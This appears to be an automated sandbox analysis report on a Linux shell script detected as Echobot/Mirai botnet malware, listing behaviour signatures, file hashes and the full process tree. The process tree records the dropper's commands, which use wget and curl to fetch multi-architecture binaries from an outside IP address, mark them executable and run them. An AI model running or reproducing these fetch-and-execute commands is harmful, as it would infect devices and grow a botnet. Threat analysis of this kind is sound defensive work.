Analysis

  • max time kernel
    150s
  • max time network
    177s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25-11-2024 21:40

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    81eee2b1d28af46c8e9190b0c20fce28

  • SHA1

    8025e6d6f83b129d6c7a11a684d5d6f54d160333

  • SHA256

    b86582605641a45410c0811cec9d1d19deb98bb5c4f5cd27caa06949e2ec7e30

  • SHA512

    359baa5371f4f8cbd4c3caf9cb1b02624b22d8cadd63722c2a9db673e73df55f6f75988e988911ee731e3b30b5a1c22207cd9a8aebb933c38bab17f9a1f8df45

Malware Config

Signatures

  • Detected Echobot 3 IoCs
  • Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

  • Echobot family
  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (162203) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 16 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 8 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 8 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 8 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:662
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:665
    • /usr/bin/wget
      wget http://64.235.37.140/bins/jade.arc
      2⤵
        PID:671
      • /usr/bin/curl
        curl -O http://64.235.37.140/bins/jade.arc
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:685
      • /bin/cat
        cat jade.arc
        2⤵
          PID:691
        • /bin/chmod
          chmod +x busybox Chaotic jade.arc ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/Chaotic
          ./Chaotic
          2⤵
          • Executes dropped EXE
          PID:693
        • /usr/bin/wget
          wget http://64.235.37.140/bins/jade.x86
          2⤵
          • Writes file to tmp directory
          PID:694
        • /usr/bin/curl
          curl -O http://64.235.37.140/bins/jade.x86
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:697
        • /bin/cat
          cat jade.x86
          2⤵
            PID:698
          • /bin/chmod
            chmod +x busybox Chaotic jade.arc jade.x86 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
            2⤵
            • File and Directory Permissions Modification
            PID:699
          • /tmp/Chaotic
            ./Chaotic
            2⤵
            • Executes dropped EXE
            PID:700
          • /usr/bin/wget
            wget http://64.235.37.140/bins/jade.x86_64
            2⤵
              PID:702
            • /usr/bin/curl
              curl -O http://64.235.37.140/bins/jade.x86_64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:708
            • /bin/cat
              cat jade.x86_64
              2⤵
                PID:714
              • /bin/chmod
                chmod +x busybox Chaotic jade.arc jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                2⤵
                • File and Directory Permissions Modification
                PID:716
              • /tmp/Chaotic
                ./Chaotic
                2⤵
                • Executes dropped EXE
                PID:718
              • /usr/bin/wget
                wget http://64.235.37.140/bins/jade.i686
                2⤵
                  PID:719
                • /usr/bin/curl
                  curl -O http://64.235.37.140/bins/jade.i686
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:724
                • /bin/cat
                  cat jade.i686
                  2⤵
                    PID:729
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                    2⤵
                    • File and Directory Permissions Modification
                    PID:730
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:731
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:732
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mips
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:742
                  • /bin/cat
                    cat jade.mips
                    2⤵
                    • System Network Configuration Discovery
                    PID:749
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                    2⤵
                    • File and Directory Permissions Modification
                    PID:750
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:752
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    PID:756
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mips64
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:764
                  • /bin/cat
                    cat jade.mips64
                    2⤵
                    • System Network Configuration Discovery
                    PID:767
                  • /bin/chmod
                    chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.mips64 jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                    2⤵
                    • File and Directory Permissions Modification
                    PID:768
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                    • Executes dropped EXE
                    PID:769
                  • /usr/bin/wget
                    wget http://64.235.37.140/bins/jade.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:770
                  • /usr/bin/curl
                    curl -O http://64.235.37.140/bins/jade.mpsl
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:771
                  • /bin/cat
                    cat jade.mpsl
                    2⤵
                      PID:778
                    • /bin/chmod
                      chmod +x busybox Chaotic jade.arc jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                      2⤵
                      • File and Directory Permissions Modification
                      PID:779
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                      • Executes dropped EXE
                      PID:781
                    • /usr/bin/wget
                      wget http://64.235.37.140/bins/jade.arm
                      2⤵
                      • Writes file to tmp directory
                      PID:783
                    • /usr/bin/curl
                      curl -O http://64.235.37.140/bins/jade.arm
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:794
                    • /bin/cat
                      cat jade.arm
                      2⤵
                        PID:800
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                        2⤵
                        • File and Directory Permissions Modification
                        PID:802
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:803
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:808
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.arm5
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:819
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                        2⤵
                        • File and Directory Permissions Modification
                        PID:823
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:824
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.arm6
                        2⤵
                        • Writes file to tmp directory
                        PID:835
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.arm6
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:842
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-Wrd8pD
                        2⤵
                        • File and Directory Permissions Modification
                        PID:844
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:845
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:854
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.arm7
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:861
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.x86 jade.x86_64 ohshit.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:863
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:864
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:868
                      • /usr/bin/curl
                        curl -O http://64.235.37.140/bins/jade.ppc
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:877
                      • /bin/chmod
                        chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.ppc jade.x86 jade.x86_64 ohshit.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:879
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:880
                      • /usr/bin/wget
                        wget http://64.235.37.140/bins/jade.sparc
                        2⤵
                          PID:884
                        • /usr/bin/curl
                          curl -O http://64.235.37.140/bins/jade.sparc
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:891
                        • /bin/chmod
                          chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.mips jade.mips64 jade.mpsl jade.ppc jade.sparc jade.x86 jade.x86_64 ohshit.sh
                          2⤵
                          • File and Directory Permissions Modification
                          PID:893
                        • /tmp/Chaotic
                          ./Chaotic
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Changes its process name
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:894
                        • /usr/bin/wget
                          wget http://64.235.37.140/bins/jade.m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:900
                        • /usr/bin/curl
                          curl -O http://64.235.37.140/bins/jade.m68k
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:907
                        • /bin/chmod
                          chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.m68k jade.mips jade.mips64 jade.mpsl jade.ppc jade.sparc jade.x86 jade.x86_64 ohshit.sh
                          2⤵
                          • File and Directory Permissions Modification
                          PID:909
                        • /tmp/Chaotic
                          ./Chaotic
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Changes its process name
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:910
                        • /usr/bin/wget
                          wget http://64.235.37.140/bins/jade.sh4
                          2⤵
                          • Writes file to tmp directory
                          PID:916
                        • /usr/bin/curl
                          curl -O http://64.235.37.140/bins/jade.sh4
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:923
                        • /bin/chmod
                          chmod +x busybox Chaotic jade.arc jade.arm jade.arm5 jade.arm6 jade.arm7 jade.i686 jade.m68k jade.mips jade.mips64 jade.mpsl jade.ppc jade.sh4 jade.sparc jade.x86 jade.x86_64 ohshit.sh
                          2⤵
                          • File and Directory Permissions Modification
                          PID:925
                        • /tmp/Chaotic
                          ./Chaotic
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Changes its process name
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:926

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      • /tmp/Chaotic

                        Filesize

                        68KB

                        MD5

                        60e197919a265617f21c21e25320c549

                        SHA1

                        b06f09b251f855c2e3cadbee08e426be790698cf

                        SHA256

                        bd145676c6767709d39d47eb2bb2fe5051b790db64bf150b233d3f49438346b2

                        SHA512

                        652f8341e27f00272f3ee4164900c5f02e0c7c763b9edc0405107ce2126ce2c700c9318e3ea29a73125d77d4b16b961860a514b0580170d019976fa7765792d1

                      • /tmp/Chaotic

                        Filesize

                        95KB

                        MD5

                        2856dfee64ce9df390f7c08f3faa4511

                        SHA1

                        a39ec395140d9f12df3f3ce77b40380a22bcd336

                        SHA256

                        10cde4e442151ff031996d6cd72f7da0df4ce93f434caed9a21e14ed1e1a60dc

                        SHA512

                        d089fe05d65e225b160306f738588496119d1329c24aba8613b751388f49f8deb0ec45c0ac2a1df40e3208102404d0a029a2c72fd4bef9db6c31080afcee5b3e

                      • /tmp/Chaotic

                        Filesize

                        99KB

                        MD5

                        66be265a705fef7afdbf7a0225b79bf5

                        SHA1

                        41148213aaf7c47d5f100e46e95c01c04a048ecf

                        SHA256

                        ccba950254fd41cd63ca06d39dd224e46c9a0b45b17699e0421ef8e19d69ebd8

                        SHA512

                        fbe5bae02a9bf1a5f96eda723e9cfaa86fc81f8acffed7e07987f3dc4ad9d745ce3de1de2b6cee7e9b41cd1437db0212c4678710b30b737299b12c24825a8e2a

                      • /tmp/busybox

                        Filesize

                        507KB

                        MD5

                        e588bcf03ae78237b58899d35f50c570

                        SHA1

                        2194732ebbefbc27bdae876c77f2a97a20175710

                        SHA256

                        2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

                        SHA512

                        904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555

                      • /tmp/jade.arc

                        Filesize

                        275B

                        MD5

                        cba0261779bc762dcaa59e48bca8c298

                        SHA1

                        f5747b8818b87d36e684c31ee32cae265ae63cd0

                        SHA256

                        52ea3a00ff42e925a9f1862b63765b9ac279abb244f7e43ac010e42c76fcc918

                        SHA512

                        f322ac8ba03308f52db0478080d60f419d2bc195d4eeccee0365fd66d13f99032c491f55ae952dd9685064825f07b5c8c381a68ca3928c22164009861b3da702